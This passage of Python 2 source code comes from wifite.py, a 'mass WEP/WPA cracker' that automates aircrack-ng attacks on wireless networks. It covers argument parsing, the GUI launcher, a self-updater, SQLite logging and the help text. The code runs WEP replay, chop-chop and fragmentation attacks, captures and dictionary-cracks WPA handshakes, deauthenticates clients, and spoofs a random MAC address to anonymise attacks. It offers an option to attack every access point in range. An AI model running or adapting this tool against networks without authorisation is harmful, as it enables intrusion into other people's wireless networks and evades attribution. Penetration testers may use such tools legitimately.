self.wpatxt.config(state=DISABLED) else: self.wpatxt.config(state=NORMAL) def click_wependless(self): if self.wepwendless.get() == 1: self.weptxt.config(state=DISABLED) else: self.weptxt.config(state=NORMAL) def click_channel(self): if self.allchan.get() == 0: self.channel.config(state=NORMAL, troughcolor='gray') else: self.channel.config(state=DISABLED, troughcolor='black') def click_selectarg(self): if self.selectarg.get() == 0: self.chkeveryone.config(state=NORMAL) if self.all.get() == 0: self.power.config(state=NORMAL, troughcolor='gray') else: self.power.config(state=DISABLED, troughcolor='black') self.chkeveryone.config(state=DISABLED) def click_power(self): if self.all.get() == 0: self.power.config(state=NORMAL, troughcolor='gray') else: self.power.config(state=DISABLED, troughcolor='black') def lookup(self): file=tkFileDialog.askopenfile(parent=root, mode='rb',title='select a passwordlist') if file != None: self.dicttxt.delete(0, END) self.dicttxt.insert(0, file.name) def ifacelist(self): # looks up all interfaces in airmon-ng # returns a tuple, the list of ifaces, and the 'default' -- the one in monitor mode global USING_XTERM lst=[] proc=subprocess.Popen(['airmon-ng'], stdout=subprocess.PIPE) txt=proc.communicate()[0] if txt == '': return [],'' for line in txt.split('\n'): if line != '' and line.find('Interface') == -1: line = line.replace('\t',' ') lst.append(line.strip()) default='' proc=subprocess.Popen(['iwconfig'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) txt=proc.communicate()[0] if txt == '': if len(lst) > 0: return lst, lst[0] else: return [], 0 for line in txt.split('\n'): if line.find('Mode:Monitor') != -1: dev=line[:line.find(' ')].strip() for x in lst: if dev == x[:x.find(' ')].strip(): default=x break if default != '': break if len(lst) == 0: print R+'[!] no wireless interfaces were found!' print R+'[!] run airmon-ng; check your wireless drivers' if USING_XTERM: print GR+'[!] '+W+'close this window at any time to exit wifite'+W else: print GR+'[!] '+W+'the program is unable to continue and will now exit' sys.exit(0) return lst, default def execute(self): global root cmd=[] # interface temp=self.iface.get() cmd.append('-i') cmd.append(temp[:temp.find(' ')]) # encryption if self.enctype.get() == 'WPA': cmd.append('-nowep') elif self.enctype.get() == 'WEP': cmd.append('-nowpa') # channel if self.allchan.get() == 0: cmd.append('-c') cmd.append(str(self.channel.get())) # select targets or not if self.selectarg.get() == 0: # don't select targets from list; either attack all or certain power range # power if self.all.get() != 0: cmd.append('-all') else: cmd.append('-p') cmd.append(str(self.power.get())) else: # select targets from a list... just say '-console' cmd.append('-console') # dictionary temp=self.dicttxt.get() cmd.append('-d') if os.path.exists(temp) and temp != '' and temp != 'none': cmd.append(temp) else: cmd.append('none') # wep timeout cmd.append('-wepw') if self.wepwendless.get() == 1: cmd.append('0') else: cmd.append(self.wepw.get()) # wpa timeout cmd.append('-wpaw') if self.wpawendless.get() == 1: cmd.append('0') else: cmd.append(self.wpaw.get()) if self.weparp.get() != 1: cmd.append('-noarp') if self.wepchop.get() != 1: cmd.append('-nochop') if self.wepfrag.get() != 1: cmd.append('-nofrag') if self.wep0841.get() != 1: cmd.append('-no0841') if self.wepmac.get() == 0: cmd.append('-keepmac') if self.wepauth.get() == 1: cmd.append('-f') if self.anony.get() == 1: cmd.append('-anon') cmd.append('-pps') cmd.append(str(self.weppps.get())) cmd.append('xterm') # save settings f=open('.wifite.conf','w') f.write(str('\n'.join(cmd))) f.close() t=threading.Thread(target=self.doit, args=(cmd,)) t.start() root.destroy() #print '[+] exiting...' updatesqlstatus('[+] exiting...') def doit(self, args): global THEFILE cmd=['xterm','-bg','black','-fg','white','-T','WiFite','-geom','110x30+0+0','-hold','-e','python',THEFILE] for a in args: cmd.append(a) print GR+'[+] '+G+'executing: '+W+ './' + THEFILE+' ' + ' '.join(args) updatesqlstatus('[+] executing: ./' + THEFILE+' ' + ' '.join(args)) try: subprocess.call(cmd) except AttributeError: pass ############################################################################### upgrade methods def get_revision(): """ checks the googlecode page returns a tuple with info on the latest revision: revision_number, description, last_modified returns -1, '' ,'' if page could not be loaded properly """ irev =-1 desc ='' since='' sock = urllib.urlopen('http://code.google.com/p/wifite/source/list?path=/trunk/wifite.py') page = sock.read() # get the revision start= page.find('href="detail?r=') stop = page.find('&amp;', start) if start != -1 and stop != -1: start += 15 rev=page[start:stop] try: irev=int(rev) except ValueError: rev=rev.split('\n')[0] print R+'[+] invalid revision number: "'+rev+'"' # get the description start= page.find(' href="detail?r='+str(irev)+'', start + 3) start= page.find('">',start) stop = page.find('</a>', start) if start != -1 and stop != -1: start += 2 desc=page[start:stop].strip() desc=desc.replace("&#39;","'") desc=desc.replace("&lt;","<") desc=desc.replace("&gt;",">") # get the time last modified start= page.find(' href="detail?r='+str(irev)+'', start + 3) start= page.find('">',start) stop = page.find('</a>', start) if start != -1 and stop != -1: start += 2 since=page[start:stop] return (irev, desc, since) def update(): """ the 'ui' portion of upgrading. uses get_revision(), compares that revision to this script's revision number, tells user they're already updated if revisions are equal. prompts to upgrade if we're out of date, if user types 'y', runs upgrade() """ global REVISION try: print GR+'[+] '+W+'checking for updates...' r,d,t=get_revision() r=int(r) if r == -1: print GR+'[+] '+R+'unable to access code.google.com; aborting update' elif r > REVISION: print GR+'[+] '+W+'there is a '+G+'new version'+W+' of wifite.py! (r'+str(r)+')' print GR+'[+] '+W+'changes:'+W print GR+' -'+d.replace('\n','\n -') print GR+'[+] '+W+'updated '+G+t+W+'\n' print GR+'[+] '+W+'do you want to '+G+'download and upgrade'+W+' wifite.py? (y/n): ' ans=raw_input() if ans.lower()[0] == 'y': upgrade() else: print GR+'[+] '+W+'upgrading '+O+'aborted'+W+'' elif r == REVISION: print GR+'[+] '+W+'your copy of wifite.py is '+G+'up to date' else: print GR+'[+] '+W+'you somehow have a '+G+'futuristic revision'+W+' of wifite.py' except KeyboardInterrupt: print R+'[+] ^C interrupted; aborting updater' def upgrade(): global THEFILE """ downloads latest version of wifite.py, saves as wifite_new.py creates shell script that deletes the old wifite.py and puts the new wifite_new.py in it's place changes permissions on the new wifite.py so it is executable also, it lets the user know what is happening exits after it is ran """ print GR+'[+] '+G+'downloading'+W+' update...' sock = urllib.urlopen('http://wifite.googlecode.com/svn/trunk/wifite.py') page = sock.read() if page == '': print R+'[+] unable to download script; exiting' return # create/save the new script f=open('wifite_new.py','w') f.write(page) f.close() # create/save a shell script that replaces this script with the new one f=open('update_wifite.sh','w') f.write('#!/bin/sh\n') f.write('rm -rf '+THEFILE+'\n') f.write('mv wifite_new.py '+THEFILE+'\n') f.write('rm -rf update_wifite.sh\n') f.write('chmod +x '+THEFILE+'\n') #f.write('python',THEFILE,'-h') f.close() # change permissions on the script subprocess.call(['chmod','+x','update_wifite.sh']) #print GR+'[+] '+G+'launching'+W+' new version...' subprocess.call(['sh','update_wifite.sh']) print GR+'[+] '+G+'updated!'+W+' type "./'+THEFILE+'" to run again' ############################################################################### main def main(): global root """ where the magic happens """ global IFACE, ATTACK, DICT, THIS_MAC, SKIP_TO_WPA, CRACKED, HANDSHAKES, NO_XSERVER global TIME_STARTED, TIME_REMAINING, ORIGINAL_MAC, ANONYMOUS_MAC ATTEMPTS=0 try: # print banner #print '\n wifite.py; wep/wpa cracker\n' banner() if not check_root(): print R+'[+] must be run as '+O+'root'+O+'!' print R+'[+] type '+O+'su'+R+' to login as root' print R+'[+] the program will now exit' print W return aircrack_warning() # handle arguments if len(sys.argv) > 1: handle_args(sys.argv) print '' elif not NO_XSERVER: # no arguments; run the GUI root.title('WiFite GUI') print GR+'[+] '+W+'launching '+G+'gui interface'+W app = App(root) app root.mainloop() root = None #print GR+'[+] '+W+'include '+G+'-help'+W+' for more options\n' #time.sleep(1) return # check if 'wordlist.txt' is in this folder; if DICT == '' and os.path.exists('wordlist.txt'): DICT='wordlist.txt' # find/get wireless interface find_mon() # check if current interface is an intel4965 chipset... check_intel() # get the current mac address for IFACE THIS_MAC = getmac() # find and display all current targets to user gettargets() # user has selected which APs to attack # check if we need a dictionary dict_check() # get dictionary from user if need be # calculate estimated time remaining TIME_STARTED=time.time() TIME_REMAINING=0 for x in ATTACK: index = (x - 1) if TARGETS[index][2].startswith('WPA'): if WPA_MAXWAIT == 0: TIME_REMAINING=0 break TIME_REMAINING+=WPA_MAXWAIT elif TARGETS[index][2].startswith('WEP'): if WEP_MAXWAIT == 0: TIME_REMAINING=0 break if WEP_ARP: TIME_REMAINING+=WEP_MAXWAIT if WEP_CHOP: TIME_REMAINING+=WEP_MAXWAIT if WEP_FRAG: TIME_REMAINING+=WEP_MAXWAIT if WEP_P0841: TIME_REMAINING+=WEP_MAXWAIT if TIME_REMAINING != 0: # only print estimated time remaining if no attack times are 'endless' t=sec2hms(TIME_REMAINING).split(':') s='' if t[0] != '0': s=t[0] + ' hour' if t[0] != '1': s+='s' s+=', ' s+=t[1] + ' minute' if t[1] != '01': s+='s' print '' print GR+'[+] '+W+'estimated maximum wait time is '+O+s+W updatesqlstatus('[+] estimated maximum wait time is '+s) # change mac address if we're using the -anon option if ANONYMOUS_MAC != '' and len(ATTACK) != 0: ORIGINAL_MAC=THIS_MAC print GR+'[+] '+G+'changing'+W+' mac address to '+O+ANONYMOUS_MAC+O+'...', updatesqlstatus('[+] changing mac address to '+ANONYMOUS_MAC+'...') sys.stdout.flush() subprocess.call(['ifconfig',IFACE,'down']) subprocess.call(['macchanger','-m',ANONYMOUS_MAC,IFACE],stdout=open(os.devnull,'w'),stderr=open(os.devnull,'w')) subprocess.call(['ifconfig',IFACE,'up']) print ' '+G+'changed!' for x in ATTACK: ATTEMPTS += 1 # increment number of attempts attack(x - 1) # subtract one because arrays start at 0 # if user breaks during an attack and wants to skip to cracking... if SKIP_TO_WPA: break # change mac address back (if we used the -anon option) before starting the cracks if ORIGINAL_MAC != '': print GR+'[+] '+G+'changing'+W+' mac address back to '+O+str(ORIGINAL_MAC)+W+'...', sys.stdout.flush() subprocess.call(['ifconfig',IFACE,'down']) subprocess.call(['macchanger','-m',ORIGINAL_MAC,IFACE],stdout=open(os.devnull,'w'),stderr=open(os.devnull,'w')) subprocess.call(['ifconfig',IFACE,'up']) print G+"changed"+W if len(WPA_CRACK) > 0 and DICT != '': # we have wpa handshakes to crack! # format is ['filename', 'ssid'] print '' # blank line to space things out for i in xrange(0, len(WPA_CRACK)): wpa_crack(i) if WPA_CRACK[len(WPA_CRACK)-1] == ['','','']: WPA_CRACK.remove(['','','']) break # at this point, the attacks are complete. print W # check if we tried to crack a WPA... had_wpa=False for x in ATTACK: if TARGETS[x-1][2].startswith('WPA'): had_wpa=True break # these if statements are for colors and plural fixing. # could've just done a one-liner, but this looks prettier if len(ATTACK) == 1: print GR+'[+] '+W+'attack is '+W+'complete'+W+':', else: print GR+'[+] '+W+'attacks are '+W+'complete'+W+':', if ATTEMPTS==1: print O+'1 attempt,', else: print O+str(ATTEMPTS) + ' attempts,', if had_wpa: # only print handshakes if we cracked or targetted a WPA network extra='' temp=len(WPA_CRACK) - HANDSHAKES if temp > 0: extra=O+' ('+str(temp)+' pre-captured)'+W if HANDSHAKES==0: print R+str(HANDSHAKES)+' handshakes'+W+extra+',', elif HANDSHAKES==1: print G+'1 handshake'+W+extra+',', else: print G+str(HANDSHAKES)+' handshakes'+W+extra+',', if DICT != '': # only display amount cracked if user specified a dictionary if CRACKED == 0: print R+str(CRACKED)+' cracked'+W else: print G+str(CRACKED)+' cracked'+W else: # only targeted WEP network(s), only display attempted/cracked (not handshakes) if CRACKED == 0: print R+str(CRACKED)+' cracked'+W else: print G+str(CRACKED)+' cracked'+W # display the log if len(THE_LOG) > 0: print GR+'[+] '+G+'session summary:'+W for i in THE_LOG: print GR+' -'+i print W if USING_XTERM: print W print GR+'[!] '+W+'close this window at any time to exit wifite'+W except KeyboardInterrupt: print GR+'\n[!] '+O+'^C interrupt received, '+R+'exiting'+W ############################################################################### aircrack warning def aircrack_warning(): required =['airmon-ng','aircrack-ng','airodump-ng','aireplay-ng','packetforge-ng'] recommended=['macchanger','pyrit','cowpatty'] req='' rec='' for r in required: if subprocess.Popen(['which',r],stdout=subprocess.PIPE).communicate()[0].strip() == '': req += ' '+R+r+W+',' for r in recommended: if subprocess.Popen(['which',r],stdout=subprocess.PIPE).communicate()[0].strip() == '': rec += ' '+R+r+W+',' if req.endswith(','): req=req[:len(req)-1] if rec.endswith(','): rec=rec[:len(rec)-1] if req != '': print GR+'[+] '+O+'WARNING:'+W+' '+G+'required'+W+' packages/apps were not found:'+W+req if rec != '': print GR+'[+] '+O+'WARNING:'+W+' '+G+'recommended'+W+' packages/apps were not found'+W+rec outp = subprocess.Popen(['aircrack-ng'],stdout=subprocess.PIPE,stderr=open(os.devnull,'w')).communicate() for line in outp: if line == None: break if line.strip() != '' and line.find('1.0') != -1: print GR+'[+] '+R+'ERROR:'+O+' aircrack-ng 1.1 '+W+'is required;'+O+' '+R+'aircrack-ng 1.0'+O+' was found!'+W break ############################################################################### intel 4965 check def check_intel(): global IFACE, HAS_INTEL4965 out = subprocess.Popen(['airmon-ng'],stdout=subprocess.PIPE,stderr=open(os.devnull,'w')).communicate()[0] for line in out.split('\n'): if line.find(IFACE) != -1 and line.find('Intel 4965') != -1: print GR+'[+] '+W+'intel4965 chipset '+G+'detected'+W+'\n' HAS_INTEL4965=True return HAS_INTEL4965=False ############################################################################### banner def banner(): global REVISION """ displays the pretty app logo + text """ print '' print G+" .;' `;, " print G+" .;' ,;' `;, `;, "+W+"WiFite r"+str(REVISION) print G+".;' ,;' ,;' `;, `;, `;, " print G+":: :: : "+GR+"( )"+G+" : :: :: "+GR+"mass WEP/WPA cracker" print G+"':. ':. ':. "+GR+"/_\\"+G+" ,:' ,:' ,:' " print G+" ':. ':. "+GR+"/___\\"+G+" ,:' ,:' "+GR+"designed for backtrack4" print G+" ':. "+GR+"/_____\\"+G+" ,:' " print G+" "+GR+"/ \\"+G+" " print W ############################################################################### check_root def check_root(): """ returns True if user is root, false otherwise """ if os.getenv('LOGNAME','none').lower() == 'root': return True return False ############################################################################### handle args def handle_args(args): """ handles arguments, sets global variables if specified """ global IFACE, WEP, WPA, CHANNEL, ESSID, DICT, WPA_MAXWAIT, WEP_MAXWAIT, STRIP_HANDSHAKE global W, BLA, R, G, O, B, P, C, GR # colors global WEP_ARP, WEP_CHOP, WEP_FRAG, WEP_P0841, TEMPDIR, EXIT_IF_NO_FAKEAUTH # wep attacks global REVISION, THEFILE, CHANGE_MAC, ORIGINAL_MAC, ANONYMOUS_MAC, USING_XTERM, AUTOCRACK global TIMEWAITINGCLIENTS, SCAN_MAXWAIT, CRACK_WITH_PYRIT # first loop, finds '-no-color' in case the user doesn't want to see any color! for a in args: #nocolor if a == '-no-color' or a == '--no-color' or a == '-nocolor': # no colors, blank out the colors W = "" BLA= "" R = "" G = "" O = "" B = "" P = "" C = "" GR = "" print '[+] colors have been neutralized :)\n' break # second loop, look for 'help' or 'upgrade' because these are single-servin arguments # the program will terminate after these commands are issued for a in args: #HELP if a == 'h' or a == 'help' or a == '-h' or a == '?' or a == '/?' or a == 'commands': halp() subprocess.call(['rm','-rf',TEMPDIR]) sys.exit(0) elif a == '--help' or a == '-help': halp(True) subprocess.call(['rm','-rf',TEMPDIR]) sys.exit(0) elif a == '-update' or a == '--update' or a == '-upgrade' or a == '--upgrade': # upgrayedd update() subprocess.call(['rm','-rf',TEMPDIR]) sys.exit(0) elif a == '-v' or a == '-version' or a == '-V' or a == '--version' or a == 'version': print GR+'[+] '+W+'current wifite revision: '+G+'r'+str(REVISION)+W print GR+'[+] '+W+'run '+G+'./wifite.py -upgrade'+W+' to check for latest version' sys.exit(0) # second loop, for hte other options i = 0 while (i < len(args)): a = args[i] if a == '-i' or a == '--iface': try: IFACE=args[i+1] print GR+'[+] '+W+'using wireless interface "'+G + IFACE + W+'"' updatesqlstatus('[+] using wireless interface "' + IFACE + '"') except IndexError: print R+'[!] error! invalid argument format' print R+'[!] the program will now exit' print W subprocess.call(['rm','-rf',TEMPDIR]) sys.exit(0) i+=1 elif a == '-c' or a == '--chan': try: CHANNEL=args[i+1] print GR+'[+] '+W+'only looking for networks on '+G+'channel '+ CHANNEL + W+'' except IndexError: print R+'[!] error! invalid argument format' print R+'[!] the program will now exit' print W subprocess.call(['rm','-rf',TEMPDIR]) sys.exit(0) i+=1 elif a == '-e' or a == '--essid' or a == '-essid': try: ESSID=args[i+1] if ESSID.lower() == 'all' or ESSID.lower() == '"all"': if ESSID.startswith('pow>'): print O+'[!] already targeting essids with power greater than '+ESSID[4:]+'dB'+W else: ESSID = 'all' print GR+'[+] '+W+'targeting essid "'+G + ESSID + W+'"' updatesqlstatus('[+] targeting essid "' + ESSID + '"') except IndexError: print R+'[!] error! invalid argument format' print R+'[!] the program will now exit' print W subprocess.call(['rm','-rf',TEMPDIR]) sys.exit(0) i+=1 elif a == '-all' or a == '--all': if ESSID.startswith('pow>'): print O+'[!] already targeting essids with power greater than '+ESSID[4:]+'dB'+W else: ESSID = 'all' print GR+'[+] '+W+'targeting essid "'+G + ESSID + W+'"' updatesqlstatus('[+] targeting essid "' + ESSID + '"') elif a == '-p' or a == '--power': try: tempint=int(args[i+1]) except IndexError: print R+'[!] error! invalid argument format' print R+'[!] the program will now exit' print W subprocess.call(['rm','-rf',TEMPDIR]) sys.exit(0) except ValueError: print R+'[!] invalid power level!' print R+'[!] enter -e pow>## where ## is a 1 or 2 digit number' print R+'[!] example: ./'+THEFILE+' -e pow>55' print W subprocess.call(['rm','-rf',TEMPDIR]) sys.exit(0) print GR+'[+] '+W+'targeting networks with signal power greater than '+G+ str(tempint)+'dB'+W ESSID='pow>'+str(tempint) elif a == '-d' or a == '--dict' or a == '-dict': try: DICT=args[i+1] print GR+'[+] '+W+'using dictionary "'+G + DICT + W+'"' except IndexError: print R+'[!] error! invalid argument format' print R+'[!] the program will now exit' print W subprocess.call(['rm','-rf',TEMPDIR]) sys.exit(0) i+=1 elif a == '-nowpa' or a == '--no-wpa': print GR+'[+] '+W+'only scanning for '+G+'WEP-encrypted networks'+W WPA=False elif a == '-nowep' or a == '--no-wep': print GR+'[+] '+W+'only scanning for '+G+'WPA-encrypted networks'+W WEP=False elif a == '-wpaw' or a == '--wpa-wait': try: WPA_MAXWAIT=int(args[i+1])*60 print GR+'[+] '+W+'set wpa handshake wait time:', if WPA_MAXWAIT == 0: print G+'unlimited' else: print G+str(WPA_MAXWAIT/60)+' minutes' except Exception: print R+'[!] error! invalid arguments' print R+'[!] the program will now exit' print W subprocess.call(['rm','-rf',TEMPDIR]) sys.exit(0) i=i+1 elif a == '-wepw' or a == '--wep-wait': try: WEP_MAXWAIT=int(args[i+1])*60 print GR+'[+] '+W+'set wep attack wait time:', if WEP_MAXWAIT == 0: print G+'unlimited' else: print G+str(WEP_MAXWAIT/60)+' minutes' except Exception: print R+'[!] error! invalid arguments' print R+'[!] the program will now exit' print W subprocess.call(['rm','-rf',TEMPDIR]) sys.exit(0) i=i+1 elif a == '-twclients' or a == '--timewaitingclients': try: TIMEWAITINGCLIENTS=int(args[i+1]) print GR+'[+] '+W+'set Time waiting clients: '+G+str(TIMEWAITINGCLIENTS)+' seconds' except Exception: print R+'[!] error! invalid arguments' print R+'[!] the program will now exit' print W subprocess.call(['rm','-rf',TEMPDIR]) sys.exit(0) i=i+1 elif a == '-scanw' or a == '--scan-wait': try: SCAN_MAXWAIT=int(args[i+1]) print GR+'[+] '+W+'set target scan wait time:', if SCAN_MAXWAIT == 0: print G+'unlimited' else: print G+str(SCAN_MAXWAIT)+' seconds' except Exception: print R+'[!] error! invalid arguments' print R+'[!] the program will now exit' print W subprocess.call(['rm','-rf',TEMPDIR]) sys.exit(0) i=i+1 elif a == '-autocrack' or a == '--autocrack': try: AUTOCRACK=int(args[i+1]) print GR+'[+] '+W+'set AUTOCRACK: '+G+str(AUTOCRACK)+' ivs' except Exception: print R+'[!] error! invalid arguments' print R+'[!] the program will now exit' print W subprocess.call(['rm','-rf',TEMPDIR]) sys.exit(0) i=i+1 elif a == '-py' or a == '--pyrit': # crack with pyrit CRACK_WITH_PYRIT=True print GR+'[+] '+W+'cracking with pyrit + cowpatty '+G+'enabled'+W elif a == '-pps' or a == '--pps': try: WEP_PPS=int(args[i+1]) print GR+'[+] '+W+'set WEP replay pps: '+G+str(WEP_PPS)+'/sec' except Exception: print R+'[!] error! invalid arguments' print R+'[!] the program will now exit' print W subprocess.call(['rm','-rf',TEMPDIR]) sys.exit(0) i=i+1 elif a == '-keepmac' or a == '--keep-mac': CHANGE_MAC=False print GR+'[+] '+W+'change mac to WEP client '+O+'disabled'+W elif a == '-mac' or a == '--change-mac': # keep this here, for the old-school users that still use '-mac' option print GR+'[+] '+W+'change mac to WEP client '+G+'enabled'+W elif a == '-noarp' or a == '--no-arp': WEP_ARP=False print GR+'[+] '+W+'arp-replay attack '+G+'disabled'+W elif a == '-nochop' or a == '--no-chop': WEP_CHOP=False print GR+'[+] '+W+'chop-chop attack '+G+'disabled'+W elif a == '-nofrag' or a == '--no-frag': WEP_FRAG=False print GR+'[+] '+W+'fragmentation attack '+G+'disabled'+W elif a == '-no0841' or a == '--no-p0841': WEP_P0841=False print GR+'[+] '+W+'-p 0841 attack '+G+'disabled'+W elif a == '-console' or a == '--console': print GR+'[+] '+G+'console mode'+W+' activated' elif a == '-f' or a == '--force-fake': print GR+'[+] '+W+'continue WEP attack despite fake-auth failure '+O+'enabled'+W+'' EXIT_IF_NO_FAKEAUTH=False elif a == '-nod' or a == '--no-deauth': print GR+'[+] '+W+'deauthentication of hidden networks '+O+'disabled'+W+'' NO_HIDDEN_DEAUTH=True elif a == '-nostrip' or a == '--no-strip': print GR+'[+] '+W+'wpa handshake stripping '+O+'disabled'+W+'' STRIP_HANDSHAKE=False elif a == '-anon' or a == '--anonymous' or a == '--anon': ANONYMOUS_MAC=random_mac() print GR+'[+] '+W+'anonymous mac address '+G+'enabled'+W+'' elif a == 'xterm': USING_XTERM = True i += 1 if WEP==False and WPA==False: print R+'[!] error! both WPA and WEP are diabled!' print R+'[!] those are the only two kinds of networks this program can attack' print R+'[!] program will exit now' print W subprocess.call(['rm','-rf',TEMPDIR]) sys.exit(0) ############################################################################### logit def logit(txt): """ saves txt to both file log and list log prepends date and time to the file log entry""" THE_LOG.append(txt) f = open('log.txt', 'a') f.write(datetime()+' ' + txt +'\n') f.close() def sqllogit(enc, essid, bssid, key, ascii=""): db = sqlite3.connect('log.db', isolation_level=None) db.execute("""CREATE TABLE IF NOT EXISTS log(id INTEGER PRIMARY KEY AUTOINCREMENT, timestamp int, enc text, essid text, bssid text, key text, ascii text)""") db.execute("""INSERT INTO log (timestamp, enc, essid, bssid, key, ascii) VALUES (%i, '%s', '%s', '%s', '%s', '%s')""" % (time.time(), enc.replace("'",""), essid.replace("'",""), bssid.replace("'",""), key.replace("'",""), ascii.replace("'",""))) db.close() def updatesqlstatus(text): db = sqlite3.connect('log.db', isolation_level=None) db.execute("""CREATE TABLE IF NOT EXISTS status(id INTEGER PRIMARY KEY AUTOINCREMENT, timestamp int, status text)""") db.execute("""INSERT INTO status (timestamp, status) VALUES (%i, '%s')""" % (time.time(), text.replace("'",""))) db.close() def updateivps(ivsps): db = sqlite3.connect('log.db', isolation_level=None) db.execute("""CREATE TABLE IF NOT EXISTS ivsps(id INTEGER PRIMARY KEY, timestamp int, ivsps int)""") db.execute("""REPLACE INTO ivsps (id, timestamp, ivsps) VALUES (1, %i, %i)""" % (time.time(), ivsps)) db.close() ############################################################################### halp def halp(full=False): """ displays the help screen if full=True, prints the full help (detailed info) """ global THEFILE print GR+'Usage: '+W+'python '+THEFILE+' '+G+'[SETTINGS] [FILTERS]\n' if not full: print G+' -help '+GR+'display the full help screen\n' print G+' -console '+GR+'console/interactive mode (non-GUI)\n' print G+' -upgrade '+GR+'download/install latest revision\n' else: print G+' -upgrade\t '+GR+'download/install latest revision\n' print GR+' SETTINGS' #IFACE if full: print G+' -i, --iface\t'+GR+' e.g. -i wlan0' print ' \t wireless interface' print ' \t the program automatically selects a wifi device in monitor mode' print ' \t prompts for input if no monitor-mode devices are found' print ' \t using this switch avoids the prompt\n' else: print G+' -i\t '+GR+'wireless interface' #ANON if full: print G+' --anon \t '+GR+' anonymizes the attack' print ' \t before beginning the attack, your MAC address is changed to' print ' \t a random MAC address. after the attack is complete, the MAC' print ' \t is then changed back to its original address\n' else: print G+' -anon\t '+GR+'anonymizer: change to random mac address before attacking' # SSID DEAUTH if full: #-nod --no-deauth print G+' --no-deauth\t '+GR+'disables the deauthing of clients on hidden APs' print ' \t by default, wifite will deauth clients connected to hidden APs' print ' \t *wifite only deauths hidden SSID clients in FIXED CHANNEL MODE*\n' else: print G+' -nod '+GR+'do not deauth hidden SSIDs while scanning on a fixed channel' #NO COLORS if full: print G+' --no-color\t '+GR+'do not display annoying colors (use system colors)\n' else: print G+' -nocolor '+GR+'do not use colored text (use system colors)' #TWCLIENTS if full: print G+' --timewaitingclients\t'+GR+' e.g. --timewaitingclients 30' print ' \t set the time in seconds waiting for clients\n' else: print G+' -twclients '+GR+'set the time in seconds waiting for clients' #SCANWAIT if full: print G+' --scan-wait\t'+GR+' e.g. --scan-wait 20' print ' \t set the time in seconds to wait for targets\n' else: print G+' -scanw '+GR+'set the time in seconds to wait for targets\n' print GR+'\n WPA SETTINGS' #DICT if full: print G+' -d, --dict\t'+GR+' e.g. -d /pentest/passwords/wordlists/darkc0de.lst' print ' \t dictionary file for WPA cracking' print ' \t the program will prompt for a wordlist file if any WPA targets' print ' \t are selected for attack. using -d avoids this prompt' print ' \t defaults to "wordlist.txt" found in same directory as wifite.py' print ' \t e.g. -d "none"' print ' \t does not attempt to crack WPA handshakes' print ' \t only captures the wpa handshake and backs it up to hs/\n' else: print G+' -d\t '+GR+'dictionary file, for WPA handshake cracking' #WPAWAIT if full: print G+' --wpa-wait\t'+GR+' e.g. -wpaw 15' print ' \t sets the maximum time to wait for a wpa handshake (in minutes)' print ' \t enter "0" to wait endlessly\n' else: print G+' -wpaw\t '+GR+'time to wait for wpa handshake (in minutes)' # handshake strip if full: print G+' --no-strip\t'+GR+' strip non-handshake packets from .cap file' print ' \t uses pyrit (or tshark) to strip out unnecessary packets.' print ' \t greatly reduces the size of handshkae cap files\n' else: print G+' -nostrip '+GR+'strip WPA handshake from cap files (reduce .cap size)' # crack using pyrit/cowpatty if full: print G+' --pyrit\t'+GR+' use pyrit + cowpatty to crack WPA handshakes' print ' \t passes hashes from pyrit to cowpatty' print ' \t can be much faster (and more reliable) than aircrack-ng\n' else: print G+' -py\t '+GR+'crack WPA using pyrit + cowpatty' print GR+'\n WEP SETTINGS' #WEPWAIT if full: print G+' --wep-wait\t'+GR+' e.g. -wepw 10' print ' \t sets the maximum time to wait for each WEP attack.' print ' \t depending on the settings, this could take a long time' print ' \t if the wait is 10 min, then EACH METHOD of attack gets 10 min' print ' \t if you have all 4 WEP attacks selected, it would take 40 min' print ' \t enter "0" to wait endlessly\n' else: print G+' -wepw\t '+GR+'max time (in minutes) to capture/crack WEP key of each access point' #PPS if full: print G+' --pps\t\t'+GR+' e.g. -pps 400' print ' \t packets-per-second; only for WEP attacks.' print ' \t more pps means more captured IVs, which means a faster crack' print ' \t select smaller pps for weaker wifi cards and distant APs\n' else: print G+' -pps\t '+GR+'packets-per-second (for WEP replay attacks)' #(don't) CHANGE_MAC if full: print G+' --keep-mac\t'+GR+' do not change MAC address of wireless interface\n' else: print G+' -keepmac '+GR+'do NOT change mac address of wireless interface' #wep: no-attack if full: print G+' --no-arp\t'+GR+' WEP disables arp-replay attack' print G+' --no-chop\t'+GR+' WEP disables chop-chop attack' print G+' --no-frag\t'+GR+' WEP disables fragmentation attack' print G+' --no-p0841\t'+GR+' WEP disables -p0841 attack\n' else: print G+' -noarp '+GR+'disables arp-replay attack' print G+' -nochop '+GR+'disables fragmentation attack' print G+' -nofrag '+GR+'disables chop-chop attack' print G+' -no0841 '+GR+'disables -p0841 attack' #WEP FORCE FAKE-AUTH (cancels attack if failed) if full: print G+' --force-fake\t '+GR+'during a WEP attack, if fake-auth fails, keep going' print ' \t most WEP attacks require fake-authentication' print ' \t the default is to stop the attack when fake-auth fails\n' else: print G+' -f '+GR+'force WEP attacks to continue if fake-authentication fails' #AUTOCRACK if full: print G+' --autocrack\t'+GR+' e.g. -autocrack 500' print ' \t set minimun quantity of ivs to start cracking\n' else: print G+' -autocrack '+GR+'set minimun quantity of ivs to start cracking' print GR+'\n FILTERS' #ESSID if full: print G+' -e, --essid\t'+GR+' e.g. -e "2WIRE759"' print ' \t essid (name) of the access point (router)' print ' \t this forces a narrow attack; no other networks will be attacked\n' #print ' \t e.g. -e "all"' #print ' \t using the essid "all" results in every network' #print ' \t being targeted and attacked. this is not recommended' #print ' \t because most attacks are useless from far away!\n' else: print G+' -e\t '+GR+'ssid (name) of the access point you want to attack' #ALL if full: print G+' -all, --all\t'+GR+' target and attack all access points found' print ' \t this is dangerous because most attacks require injection,' print ' \t most wifi cards cann;t inject unless they are close to the AP\n' else: print G+' -all\t '+GR+'target and attack access points found' #POWER if full: print G+' -p, --power\t'+GR+' e.g. -p 55' print ' \t minimum power level (dB)' print ' \t this is similar to the "-e all" option, except it filters APs' print ' \t that are too far away for the attacks to be useful\n' else: print G+' -p\t '+GR+'filters minimum power level (dB) to attack; ignores lower levels' #CHANNEL if full: print G+' -c, --channel\t'+GR+' e.g. -c 6' print ' \t channel to scan' print ' \t not using this switch defaults to all possible channels' print ' \t only use -c or --channel if you know the channel to listen on\n' else: print G+' -c\t '+GR+'channel to scan (default is all channels)' #NOWPA if full: print G+' --no-wpa\t'+GR+' ignores all WPA-encrypted networks' print ' \t useful when using --power or "-e all" attacks\n' else: print G+' -nowpa '+GR+'do NOT scan for WPA (default is on)' #NOWEP if full: print G+' --no-wep\t'+GR+' ignores all WEP-encrypted networks' print ' \t useful when using filtered attacks like -p or "-e all"\n' else: print G+' 